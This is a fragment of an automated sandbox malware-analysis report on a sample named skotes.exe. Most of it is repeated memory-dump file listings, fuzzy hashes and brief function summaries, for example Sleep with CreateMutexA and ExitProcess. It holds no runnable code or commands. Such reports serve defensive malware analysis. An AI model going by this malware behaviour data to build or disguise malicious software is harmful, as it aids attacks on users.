Associated: 00000002.00000002.1626590761.0000000000BCB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626604835.0000000000BCC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626621297.0000000000BD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626637155.0000000000BD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626679645.0000000000BDA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626701139.0000000000BE1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626718037.0000000000BE3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626734047.0000000000BEB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626750400.0000000000BF2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626770424.0000000000BFA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626786663.0000000000BFB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626802996.0000000000BFC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626823019.0000000000C04000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626847938.0000000000C18000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626870802.0000000000C1A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626902181.0000000000C25000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626925946.0000000000C28000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626925946.0000000000C44000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626989783.0000000000C72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1627099301.0000000000C73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1627117464.0000000000C76000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1627133327.0000000000C78000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1627150769.0000000000C87000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1627167976.0000000000C89000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_970000_skotes.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$Cnd_broadcast
String ID:
API String ID: 32384418-0
Opcode ID: 92ab41e13cb77144557846abf1ff41e1aa9de422b88fb9ccbdf2bff970b306e5
Instruction ID: bd24519396194e05d157f14b73efa57da5d2eb538e41b756853d6cb5ee3ff0a5
Opcode Fuzzy Hash: 92ab41e13cb77144557846abf1ff41e1aa9de422b88fb9ccbdf2bff970b306e5
Instruction Fuzzy Hash: 7FA1F2B2A05205AFDB10EF64C944B9AB7B8FF55324F04C169E819D7381EB35EA04DBE1

Function 009ACBDF Relevance: 6.3, APIs: 4, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 009ACC66

Memory Dump Source

Source File: 00000002.00000002.1626103997.0000000000971000.00000040.00000001.01000000.00000007.sdmp, Offset: 00970000, based on PE: true

Associated: 00000002.00000002.1626088718.0000000000970000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626103997.00000000009D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626159008.00000000009D9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626174272.00000000009DB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626192380.00000000009E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626207606.00000000009E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626222409.00000000009E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626316884.0000000000B3E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626332933.0000000000B41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626351524.0000000000B55000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626366093.0000000000B58000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626379799.0000000000B59000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626379799.0000000000B63000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626408737.0000000000B6B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626424006.0000000000B6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626438824.0000000000B76000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626453676.0000000000B7C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626472584.0000000000B93000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626491463.0000000000BA2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626507986.0000000000BA4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626524349.0000000000BA7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626541714.0000000000BB4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626556345.0000000000BB5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626575139.0000000000BC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626590761.0000000000BCB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626604835.0000000000BCC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626621297.0000000000BD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626637155.0000000000BD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626679645.0000000000BDA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626701139.0000000000BE1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626718037.0000000000BE3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626734047.0000000000BEB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626750400.0000000000BF2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626770424.0000000000BFA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626786663.0000000000BFB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626802996.0000000000BFC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626823019.0000000000C04000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626847938.0000000000C18000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626870802.0000000000C1A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626902181.0000000000C25000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626925946.0000000000C28000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626925946.0000000000C44000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626989783.0000000000C72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1627099301.0000000000C73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1627117464.0000000000C76000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1627133327.0000000000C78000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1627150769.0000000000C87000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1627167976.0000000000C89000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_970000_skotes.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: b6ef493d185ecd6e05961dbd11159ec72a600f70796096a8f2b5786dd78cba64
Instruction ID: d3d4febc0b2058b8af74ae38f3cb7ffb11c9777cda476b468f0a032e170f4c61
Opcode Fuzzy Hash: b6ef493d185ecd6e05961dbd11159ec72a600f70796096a8f2b5786dd78cba64
Instruction Fuzzy Hash: C8B115B29042459FDB15CF28C8817AEBBF9EF86350F24856AE855EF281D6348D01CBE0

Function 0098BB72 Relevance: 6.1, APIs: 4, Instructions: 80COMMON

Download Yara Rule

APIs

_xtime_get.LIBCPMT ref: 0098BBCA
__Xtime_diff_to_millis2.LIBCPMT ref: 0098BBE4
_xtime_get.LIBCPMT ref: 0098BC07
__Xtime_diff_to_millis2.LIBCPMT ref: 0098BC13

Memory Dump Source

Source File: 00000002.00000002.1626103997.0000000000971000.00000040.00000001.01000000.00000007.sdmp, Offset: 00970000, based on PE: true

Associated: 00000002.00000002.1626088718.0000000000970000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626103997.00000000009D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626159008.00000000009D9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626174272.00000000009DB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626192380.00000000009E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626207606.00000000009E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626222409.00000000009E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626316884.0000000000B3E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626332933.0000000000B41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626351524.0000000000B55000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626366093.0000000000B58000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626379799.0000000000B59000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626379799.0000000000B63000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626408737.0000000000B6B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626424006.0000000000B6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626438824.0000000000B76000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626453676.0000000000B7C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626472584.0000000000B93000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626491463.0000000000BA2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626507986.0000000000BA4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626524349.0000000000BA7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626541714.0000000000BB4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626556345.0000000000BB5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626575139.0000000000BC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626590761.0000000000BCB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626604835.0000000000BCC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626621297.0000000000BD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626637155.0000000000BD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626679645.0000000000BDA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626701139.0000000000BE1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626718037.0000000000BE3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626734047.0000000000BEB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626750400.0000000000BF2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626770424.0000000000BFA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626786663.0000000000BFB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626802996.0000000000BFC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626823019.0000000000C04000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626847938.0000000000C18000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626870802.0000000000C1A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626902181.0000000000C25000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626925946.0000000000C28000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626925946.0000000000C44000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626989783.0000000000C72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1627099301.0000000000C73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1627117464.0000000000C76000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1627133327.0000000000C78000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1627150769.0000000000C87000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1627167976.0000000000C89000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_970000_skotes.jbxd

Yara matches

Similarity

API ID: Xtime_diff_to_millis2_xtime_get
String ID:
API String ID: 531285432-0
Opcode ID: 0de37731e3fdac8cd2ac246e66995744a0b5ebdc9e3995878cffe33fe1c5cb3b
Instruction ID: a3c6934f9b15f81c2cf4021ff25910b8877279e1da584a6bcc6f911627289621
Opcode Fuzzy Hash: 0de37731e3fdac8cd2ac246e66995744a0b5ebdc9e3995878cffe33fe1c5cb3b
Instruction Fuzzy Hash: D0211BB1A00119AFDF00EBA4D885ABEB7B9EF48710F100025FA11A7361DB34AD019BA0

Analysis Process: skotes.exePID: 1984, Parent PID: 660COMMON

Execution Graph

Execution Coverage:	0.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	602
Total number of Limit Nodes:	4

Executed Functions

Function 009A652B Relevance: 1.5, APIs: 1, Instructions: 24
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ExitProcess.KERNEL32(?,?,009A652A,?,?,?,?,?,009A7661), ref: 009A6567

Memory Dump Source

Source File: 00000003.00000002.1638466154.0000000000971000.00000040.00000001.01000000.00000007.sdmp, Offset: 00970000, based on PE: true

Associated: 00000003.00000002.1638437343.0000000000970000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1638466154.00000000009D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1638537727.00000000009D9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1638560898.00000000009DB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1638635202.00000000009E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1638748210.00000000009E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1638840599.00000000009E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1639206027.0000000000B3E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1639222979.0000000000B41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1639246565.0000000000B55000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1639262735.0000000000B58000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1639281427.0000000000B59000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1639281427.0000000000B63000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1639324342.0000000000B6B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1639339932.0000000000B6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1639361344.0000000000B76000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1639381027.0000000000B7C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1639444675.0000000000B92000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1639658617.0000000000BA2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1639769632.0000000000BA4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1640428170.0000000000BA7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1640512961.0000000000BB4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1640587972.0000000000BB5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1641783534.0000000000BC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1641813334.0000000000BCB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1641859399.0000000000BCC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1641990175.0000000000BD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642018905.0000000000BD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642177300.0000000000BDA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642200741.0000000000BE1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642227567.0000000000BE3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642384497.0000000000BEB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642428666.0000000000BF2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642463826.0000000000BFA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642488989.0000000000BFB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642633630.0000000000BFC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642651646.0000000000C04000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642674625.0000000000C18000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642772336.0000000000C1A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642793373.0000000000C25000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642816433.0000000000C28000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642816433.0000000000C44000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642936578.0000000000C72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642960597.0000000000C73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642976734.0000000000C76000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1643167024.0000000000C78000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1643191651.0000000000C87000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1643226778.0000000000C89000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_970000_skotes.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: 3d904171002c56282aabc7bd85a622e8eedf1b2cb73281f695e6cd004808dd85
Instruction ID: 69301284b3182a4c55314649855a98222d025692ea570b2764db0b2a28f6e9c3
Opcode Fuzzy Hash: 3d904171002c56282aabc7bd85a622e8eedf1b2cb73281f695e6cd004808dd85
Instruction Fuzzy Hash: 44E08C31401108EFCF257B18C819E583B2AEB82756F085800FC084622ACB25ED81DAC0

Function 00979BA5 Relevance: 3.1, APIs: 2, Instructions: 140
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0097A963
CreateMutexA.KERNELBASE(00000000,00000000,009D3254), ref: 0097A981

Memory Dump Source

Source File: 00000003.00000002.1638466154.0000000000971000.00000040.00000001.01000000.00000007.sdmp, Offset: 00970000, based on PE: true

Associated: 00000003.00000002.1638437343.0000000000970000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1638466154.00000000009D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1638537727.00000000009D9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1638560898.00000000009DB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1638635202.00000000009E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1638748210.00000000009E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1638840599.00000000009E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1639206027.0000000000B3E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1639222979.0000000000B41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1639246565.0000000000B55000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1639262735.0000000000B58000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1639281427.0000000000B59000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1639281427.0000000000B63000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1639324342.0000000000B6B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1639339932.0000000000B6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1639361344.0000000000B76000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1639381027.0000000000B7C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1639444675.0000000000B92000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1639658617.0000000000BA2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1639769632.0000000000BA4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1640428170.0000000000BA7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1640512961.0000000000BB4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1640587972.0000000000BB5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1641783534.0000000000BC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1641813334.0000000000BCB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1641859399.0000000000BCC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1641990175.0000000000BD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642018905.0000000000BD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642177300.0000000000BDA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642200741.0000000000BE1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642227567.0000000000BE3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642384497.0000000000BEB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642428666.0000000000BF2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642463826.0000000000BFA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642488989.0000000000BFB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642633630.0000000000BFC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642651646.0000000000C04000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642674625.0000000000C18000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642772336.0000000000C1A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642793373.0000000000C25000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642816433.0000000000C28000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642816433.0000000000C44000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642936578.0000000000C72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642960597.0000000000C73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642976734.0000000000C76000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1643167024.0000000000C78000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1643191651.0000000000C87000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1643226778.0000000000C89000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_970000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: da15b063cfdfee4b985189828a33706a74aaded37bafb4dd63d56c4662363544
Instruction ID: b0bd572c12df0eddc5347fe89e1d93dd051581b44049c54fe4d208872b661fe8
Opcode Fuzzy Hash: da15b063cfdfee4b985189828a33706a74aaded37bafb4dd63d56c4662363544
Instruction Fuzzy Hash: DF316B32A042058BEB08EB78EC89B6DB766EFC2314F34C619E05C973D5D7759980CB52

Function 00979A77 Relevance: 3.1, APIs: 2, Instructions: 138
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0097A963
CreateMutexA.KERNELBASE(00000000,00000000,009D3254), ref: 0097A981

Memory Dump Source

Source File: 00000003.00000002.1638466154.0000000000971000.00000040.00000001.01000000.00000007.sdmp, Offset: 00970000, based on PE: true

Associated: 00000003.00000002.1638437343.0000000000970000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1638466154.00000000009D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1638537727.00000000009D9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1638560898.00000000009DB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1638635202.00000000009E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1638748210.00000000009E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1638840599.00000000009E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1639206027.0000000000B3E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1639222979.0000000000B41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1639246565.0000000000B55000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1639262735.0000000000B58000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1639281427.0000000000B59000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1639281427.0000000000B63000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1639324342.0000000000B6B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1639339932.0000000000B6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1639361344.0000000000B76000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1639381027.0000000000B7C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1639444675.0000000000B92000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1639658617.0000000000BA2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1639769632.0000000000BA4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1640428170.0000000000BA7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1640512961.0000000000BB4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1640587972.0000000000BB5000.00000040.00000001.01000000.00000007.sdmpDownload File
